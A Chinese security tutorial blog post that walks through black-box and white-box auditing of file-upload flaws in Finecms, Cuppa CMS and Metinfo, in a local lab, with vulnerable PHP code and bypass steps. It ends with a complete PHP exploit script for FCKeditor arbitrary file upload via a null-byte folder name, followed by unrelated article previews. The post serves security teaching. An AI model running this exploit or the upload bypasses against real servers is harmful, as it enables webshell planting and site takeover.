当前位置: 首页 > news >正文

WEB攻防-通用漏洞_文件上传_黑白盒审计流程

目录

前置知识点

Finecms-CMS文件上传

​编辑 Cuppa-Cms文件上传

Metinfo-CMS 文件上传


前置知识点

思路:

黑盒就是寻找一切存在文件上传的功能应用
1 、个人用户中心是否存在文件上传功能
2 、后台管理系统是否存在文件上传功能
3 、字典目录扫描探针文件上传构造地址
4 、字典目录扫描探针编辑器目录构造地址
白盒看三点,中间件,编辑器,功能代码
1 、中间件直接看语言环境常见搭配
2 、编辑器直接看目录机构或搜索关键字
3 、功能代码直接看源码应用或搜索关键字

Finecms-CMS文件上传

黑盒思路:寻找上传点抓包修改突破获取状态码及地址

首先是进行页面分析,寻找上传点,一般都是需要注册账号的,登上去发现个人中心有一个头像上传的地方

上传一个图片用burp抓包,看看数据包有什么结构

直接发送数据包。右键点击图片获取地址:http://127.0.0.1:8100/uploadfile/member/3/45x45.jpeg

多次测试图像上传,发现对原来的文件进行覆盖,重新上传后,刚刚获取的http://127.0.0.1:8100/uploadfile/member/3/45x45.jpeg失效

  http://127.0.0.1:8086/uploadfile/member/1/45x45.png(重新上传后的地址)

  http://localhost:8086/uploadfile/member/1/45x45.jpeg(上传png后失效)

可以发现上面抓取的数据包,即没有文件的名字,也没有文件的后缀名格式。但tx参数有很多熟悉的东西,如image/png,base64这样的字眼,尝试把后面的内容放在brup中进行base64解码 :decode as->选择base64解码

用C32asm或其他hex工具打开原图片,与burp解码后的结果对比,可以看到是一模一样的。

常规上传图片数据包应该有:
  filename
  type
  上传数据 

在这个文件上传中,只有
  type=data%3Aimage%2Fpng
  上传数据是base64后面一长串
  filename:但是没有看到上传的文件名

可以尝试修改type的值,然后再把内容进行编码发送。把文件的类型改为“php”,重新发包

可以看到返回{"status":0,"code":"\u4e0a\u4f20\u9519\u8bef\uff1a<p>Unable to save the image. Please make sure the image and file directory are writable.<\/p>","id":0}

翻译过来就是“上传错误:无法保存图像。请确保图像和文件目录是可写的。”

尝试访问http://127.0.0.1:8100/uploadfile/member/1/45x45.php,结果返回404

 现在有两种可能,一就是没有上传成功,二就是上传成功但是路径不一样了,或者文件名被改了

 审计流程:功能点-代码文件-代码块-抓包调试-验证测试

同样的进入网站首页,注册登入,进入个人中心上传图片抓包分析

获取路径,找到对应的代码

关键代码如下:

 public function upload() {// 创建图片存储文件夹$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';@dr_dir_delete($dir);!is_dir($dir) && dr_mkdirs($dir);if ($_POST['tx']) {$file = str_replace(' ', '+', $_POST['tx']);if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){$new_file = $dir.'0x0.'.$result[2];if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {exit(dr_json(0, '目录权限不足或磁盘已满'));} else {$this->load->library('image_lib');$config['create_thumb'] = TRUE;$config['thumb_marker'] = '';$config['maintain_ratio'] = FALSE;$config['source_image'] = $new_file;foreach (array(30, 45, 90, 180) as $a) {$config['width'] = $config['height'] = $a;$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];$this->image_lib->initialize($config);if (!$this->image_lib->resize()) {exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));break;}}list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);!$type && exit(dr_json(0, '图片字符串不规范'));}} else {exit(dr_json(0, '图片字符串不规范'));}} else {exit(dr_json(0, '图片不存在'));}

$new_file = $dir.'0x0.'.$result[2];在这里,$result[2] 是从输入数据中提取的 MIME 类型的一部分,在这个例子中是 php,并且它直接被用作文件扩展名。由于您的代码没有检查 $result[2] 是否是一个有效的图片类型扩展名,因此它允许非图片类型的文件被保存。

  1. 文件保存和缩略图生成是独立的操作:在代码中,原始图片被命名为 0x0.php,尽管它实际上是一个 PHP 文件而不是图片,首先被保存到磁盘上。然后,尝试为这个文件生成多个尺寸的缩略图。

  2. 缩略图生成失败不会删除原始文件:即使缩略图生成失败,并且 exit() 函数被调用以返回错误信息,原始文件0x0.php仍然保留在磁盘上。这是因为代码中没有包含在任何情况下删除原始文件的逻辑。

  3. 逻辑上的漏洞:由于代码允许非图片类型的文件被保存为图片文件,并且缩略图生成失败不会触发原始文件的删除,因此存在安全风险。攻击者可以利用这个漏洞上传恶意的 PHP 文件,并尝试通过其他手段(如文件包含漏洞)执行它。但是一般黑盒能想到被重命名为0x0.php还是很小的。

上面黑盒看到的状态0,上传错误,就是我们上传到文件生成缩略图失败了

if (!$this->image_lib->resize()) {exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));break;}

将文件前缀改成了0x0,现在我们尝试将名称改为0x0再次访问

 Cuppa-Cms文件上传

黑盒思路:

登录进管理界面,寻找可利用的点,在settings中的files发现可以更改允许的文件扩展名

加上 *.php。

 并找到文件管理器,且可文件上传,这个上传的会检验文件头是不是图片格式的,所以写个图片马绕过检测

 

网站有前端js验证,所以需要把文件扩展名改为图片格式的扩展名,再用burpsuite抓包改成php

 文件管理器还可以显示文件的路径

但访问上传的木马,发现访问不了 

回到文件管理器,其实是.htaccess文件加了限制,发现在文件管理器能删除文件,就把.htaccess文件删了,再去访问

这里不添加php也是可行的,上传图片马,有一个重命名的功能,修改名字的时候抓包,改掉后缀

 

 白盒分析发现做了正则表达式过滤,过滤也很严谨,所以此处上传功能是没有漏洞的

但是黑盒测试通过rename功能突破的,我们重点看rename的操作。从这段代码中发现它的文件重命名后缀是通过原有文件拼接上去的,只做了前端限制,还是会接收文件的绝对地址,所以此处是有漏洞的。如果此处对后缀固定,则无漏洞。

上传抓包上传,发现URL:js/jquery_file_upload/server/php/index.php
index.php代码:
ini_set('display_errors', "0");
error_reporting(E_ALL | E_STRICT);
require('UploadHandler.php');
$upload_handler = new UploadHandler();

找到UploadHandler.php,搜索关键字:file type not allowed

因为'accept_file_types' => 'Filetype not allowed',这段代码,所以继续跟踪'accept_file_types' 这个代码段

 

查看允许上传的后缀:

'accept_file_types' => '/.('.$allowed_extensions.')$/i',

跟踪$allowed_extensions,应该是在配置文件里生成

全局搜索$allowed_extensions,在Configuration.php有声明,也是上面黑盒中添加php后缀的那玩意

public $allowed_extensions = "*.gif; *.jpg; *.jpeg; *.pdf; *.ico; *.png; *.svg;";
很明显,这个是白名单过滤。
重命名的数据包指向文件:js/filemanager/api/index.php

这段代码是没有任何过滤的

前端没有显示后缀,是因为js做了截断,找到相对应的HTML代码。全局搜索rename

Metinfo-CMS 文件上传

审计流程:目录结构-引用编辑器-编辑器安全查询-EXP利用验证

扫描得到fckeditor

http://127.0.0.1:8102/fckeditor/

然后在网上找利用点。

扫描获取版本路径:http://127.0.0.1:8102/fckeditor/editor/dialog/fck_about.html

网上找exp,用php.exe跑,php5.4之前才可以,比较老的一个漏洞

<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'xiaodi'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

相关文章:

WEB攻防-通用漏洞_文件上传_黑白盒审计流程

目录 前置知识点 Finecms-CMS文件上传 ​编辑 Cuppa-Cms文件上传 Metinfo-CMS 文件上传 前置知识点 思路&#xff1a; 黑盒就是寻找一切存在文件上传的功能应用 1 、个人用户中心是否存在文件上传功能 2 、后台管理系统是否存在文件上传功能 3 、字典目录扫描探针文件上传构…...

RabbitMQ基本介绍及简单上手

&#xff08;一&#xff09;什么是MQ MQ&#xff08;message queue&#xff09;本质上是队列&#xff0c;满足先入先出&#xff0c;只不过队列中存放的内容是消息而已&#xff0c;那什么是消息呢&#xff1f; 消息可以是字符串&#xff0c;json也可以是一些复杂对象 我们应用场…...

服务器证书不受信任是什么问题?

用户在访问某些网站时&#xff0c;可能会遇到“服务器证书不受信任”的警告。这一问题不仅影响用户的浏览体验&#xff0c;更可能对网站的信誉和安全性产生深远影响。那么服务器证书不受信任是什么问题呢&#xff1f; 服务器证书的基本概念 服务器证书是由证书颁发机构(CA)签…...

spring mvc源码学习笔记之十

前面的文章介绍了用 WebApplicationInitializer 或者 AbstractAnnotationConfigDispatcherServletInitializer 来代替 web.xml 。 我们学 java web 的时候就知道&#xff0c;servlet 容器会自动加载 web.xml。 那么&#xff0c;疑问就来了&#xff0c;WebApplicationInitialize…...

Ubuntu 下载安装 elasticsearch7.17.9

参考 https://blog.csdn.net/qq_26039331/article/details/115024218 https://blog.csdn.net/mengo1234/article/details/104989382 过程 来到 Es 的版本发布列表页面&#xff1a;https://www.elastic.co/downloads/past-releases#elasticsearch 根据自己的系统以及要安装的…...

Qt笔记:网络编程Tcp

一、铺垫 1.以下只是告诉诸位怎样去构建服务器与客户端&#xff1b;客户端这样构建肯定没问题&#xff1b;但是服务端不可能这样写&#xff0c;因为他是布置在Linux上的&#xff0c;纯数据类处理服务器&#xff0c;根本不可能用Qt写&#xff1b;这在Qt的http类中就表明了&…...

C++单例模式跨DLL调用问题梳理

问题案例&#xff1a; 假设有这样一个单例模式的代码 //test.h header class Test { public:static Test &instance() {static Test ins;return ins;}void foo(); };void testFoo();//test.cpp source #include "test.h"void Test::foo() {printf("%p\n&q…...

oracle闪回版本查询

闪回版本查询&#xff08;Flashback Versions Query&#xff09;是Oracle数据库提供的一种功能&#xff0c;允许用户查看某个表在特定时间范围内的所有版本。这对于审计和调试数据修改问题非常有用。通过闪回版本查询&#xff0c;你可以了解表中的数据在某个时间段内的变化历史…...

C#用winform窗口程序操作服务+不显示Form窗体,只显示右下角托盘图标+开机时自启动程序【附带项目地址】

服务的文章在:https://blog.csdn.net/weixin_43768573/article/details/144957941 一、用winform窗口程序操作服务 1、点击“创建新项目”,选择“Windows 服务(.NET Framework)” 2、给项目命名 3、右击项目->添加->新建项,选择“应用程序清单文件(仅限Windo…...

UOS系统和windows系统wps文档显示差异问题解决

最近在使用UOS系统的过程中&#xff0c;发现了一个很有意思的现象。就是在UOS系统上编辑的文档&#xff0c;发到windows系统上&#xff0c;会出现两个文档显示差异很大的情况&#xff0c;文档都是使用一样的wps软件打开的。到底是什么原因导致这种现象的呢&#xff1f;该如何解…...

JS中函数基础知识之查漏补缺(写给小白的学习笔记)

函数 函数是ECMAScript中 最有意思的部分之一, 主要是因为函数实际上是对象.-- 每个函数 都是Function类型的实例,Function也有属性和方法. 因为函数是对象,所以函数名就是指向函数对象的指针. 常用的定义函数的语法: ①函数声明 ②函数表达式 ③箭头函数 function sum (n…...

蓝桥杯训练

1对于一个字母矩阵&#xff0c;我们称矩阵中的一个递增序列是指在矩阵中找到两个字母&#xff0c;它们在同一行&#xff0c;同一列&#xff0c;或者在同一 45 度的斜线上&#xff0c;这两个字母从左向右看、或者从上向下看是递增的。 例如&#xff0c;如下矩阵中 LANN QIAO有…...

前端学习DAY33(外边距的折叠)

垂直外边距的重叠 在网页中相邻的垂直方向的外边距&#xff0c;会发生外边距的重叠 兄弟元素 兄弟元素之间的相邻外边距会取&#xff08;绝对值&#xff09;最大值&#xff0c;而不是取和&#xff0c;谁大取谁 特殊情况&#xff1a;如果相邻的外边距一正一负&#xff0c;则取两…...

asp.net core mvc的 ViewBag , ViewData , Module ,TempData

在 ASP.NET MVC 和 ASP.NET Core MVC 中&#xff0c;ViewBag 和 ViewData 是两种用于将数据从控制器传递到视图&#xff08;View&#xff09;的常用方法。它们都允许控制器将动态数据传递给视图&#xff0c;但它们的实现方式有所不同。关于 Module&#xff0c;它通常指的是某种…...

Linux驱动学习之第二个驱动程序(LED点亮关闭驱动程序-分层设计思想,使其能适应不同的板子-驱动程序模块为多个源文件怎么写Makefile)

目录 看这篇博文前请先掌握下面这些博文中的知识需要的PDF资料完整源代码board_fire_imx6ull-pro.c中的代码leddrv.c中的代码ledtest.c中的代码 程序设计思想和文件结构实现分层思想的具体方法概述具体实现分析定义结构体led_operations用来集合各个单板硬件层面操作LED的函数定…...

手写@EnableTransactionalManagement

定义一个注解&#xff0c;用于标注于方法上&#xff0c;标志着此方法是一个事务方法。 Target({ElementType.METHOD,ElementType.TYPE}) Retention(RetentionPolicy.RUNTIME) public interface MyTransaction {}定义一个开启事务功能的注解 Component Import(TransActionBean…...

【Vue】:解决动态更新 <video> 标签 src 属性后视频未刷新的问题

问题描述 在 Vue.js 项目&#xff0c;当尝试动态更新 <video> 标签的 <source> 元素 src 属性来切换视频时&#xff0c;遇到了一个问题&#xff1a;即使 src 属性已更改&#xff0c;浏览器仍显示旧视频。具体表现为用户选择新视频后&#xff0c;视频区域继续显示之…...

网络基础1 http1.0 1.1 http/2的演进史

http1.0 1.1 http/2的演进史&#x1f60e; &#xff08;连接复用 队头阻塞 服务器推送 2进制分帧&#xff09; 概述 我们主要关注的是应用层 传输层 http协议发展历史 http的报文结构&#xff1a;起始行 Header Body http的典型特征 http存在的典型问题 Keep Alive机制 chun…...

Python 通过命令行在 unittest.TestCase 中运行单元测试

文章目录 unittest 模块简介编写单元测试在命令行中运行所有测试在命令行中运行单个测试使用装饰器跳过测试总结常用断言方法 unittest 模块简介 unittest是Python标准库中的一个模块&#xff0c;用于编写和运行单元测试。它提供了一个单元测试框架&#xff0c;使得编写测试用…...

源代码编译安装X11及相关库、vim,配置vim(2)

一、编译安装vim 编译时的cofigure选项如下.只有上一步的X11的包安装全了&#xff08;具体哪些是必须的&#xff0c;哪些是多余的没验证&#xff09;&#xff0c;configure才能认为X的库文件和头文件是可以用的。打开多个编程语言的支持特性。 ./configure --prefixpwd/mybui…...

C++_核心编程_菱形继承

4.6.8 菱形继承 菱形继承概念&#xff1a; ​ 两个派生类继承同一个基类 ​ 又有某个类同时继承者两个派生类 ​ 这种继承被称为菱形继承&#xff0c;或者钻石继承 菱形继承问题&#xff1a; 1. 羊继承了动物的数据&#xff0c; 驼同样继承了动物的数据&#xff0…...

前端开发面试题总结-HTML篇

文章目录 HTML面试高频问答一、HTML 的 src 和 href 属性有什么区别?二、什么是 HTML 语义化?三、HTML的 script 标签中 defer 和 async 有什么区别?四、HTML5 相比于 HTML有哪些更新?五、HTML行内元素有哪些? 块级元素有哪些? 空(void)元素有哪些?六、iframe有哪些优点…...

CSS3 的特性

目录 CSS3 的特性CSS3 的三大特性1. 层叠性2. 继承性3. 优先级 CSS3 新增特性1. 选择器2. 盒模型3. 背景4. 渐变5. 过渡6. 动画7. 2D/3D 变换8. 弹性布局9. 网格布局10. 媒体查询11. 多列布局12. 文字阴影和盒子阴影 CSS3 的特性 CSS3 的三大特性 1. 层叠性 定义&#xff1a…...

Mysql 插入中文乱码

session范围 查看数据库编码&#xff1a; show variables like %char%; # MySQL 5.7 字符集强制配置 # 修复 character_set_databaselatin1 等问题 [mysqld] character-set-server utf8mb4 collation-server utf8mb4_unicode_ci init_connect SET NAMES utf8mb4[client] d…...

Hive终极性能优化指南:从原理到实战

摘要​&#xff1a;本文系统总结Hive在生产环境的核心调优手段&#xff0c;涵盖执行引擎选择、存储优化、SQL技巧、资源调配及数据倾斜解决方案&#xff0c;附可复用的参数配置与实战案例。 一、执行引擎优化&#xff1a;突破MapReduce瓶颈 ​启用Tez/Spark引擎​ ​优势​&am…...

力扣-17.电话号码的字母组合

题目描述 给定一个仅包含数字 2-9 的字符串&#xff0c;返回所有它能表示的字母组合。答案可以按 任意顺序 返回。 给出数字到字母的映射如下&#xff08;与电话按键相同&#xff09;。注意 1 不对应任何字母。 class Solution {List<String> res new ArrayList<…...

AI智能体,为美业后端供应链注入“智慧因子”(4/6)

摘要&#xff1a;本文深入剖析美业后端供应链现状&#xff0c;其产品具有多样性、更新换代快等特点&#xff0c;原料供应和生产环节也面临诸多挑战。AI 智能体的登场为美业后端供应链带来变革&#xff0c;包括精准需求预测、智能化库存管理、优化生产计划排程、升级供应商管理等…...

Qt Creator 11.0创建ROS2 Humble工程

Qt Creator 11.0创建ROS2 Humble项目工程 安装ROSProjectManager插件创建ROS2项目在src下添加packagegit clone ROS2功能包编译运行安装ROSProjectManager插件 安装ROSProjectManager的主要流程参考官方的流程,地址(ros_qtc_plugin)。 此处采用二进制安装: sudo apt inst…...

SpringBoot2.3.1集成Knife4j接口文档

首先要查看项目中pom文件里面有没有swagger和knife4j的依赖&#xff0c;如果有的话删除&#xff0c;加入以下依赖 <!-- swagger --><dependency><groupId>com.github.xiaoymin</groupId><artifactId>knife4j-openapi3-spring-boot-starter</…...

如何在没有 iTunes 的情况下备份 iPhone

我可以在没有 iTunes 的情况下将 iPhone 备份到电脑吗&#xff1f;虽然 iTunes 曾经是备份 iPhone 的主要方法&#xff0c;但它并不是 iOS 用户唯一的备份选项。您可以选择多种方便的替代方案来备份 iPhone&#xff0c;无需使用 iTunes。您可以在这里获得更灵活、更人性化的备份…...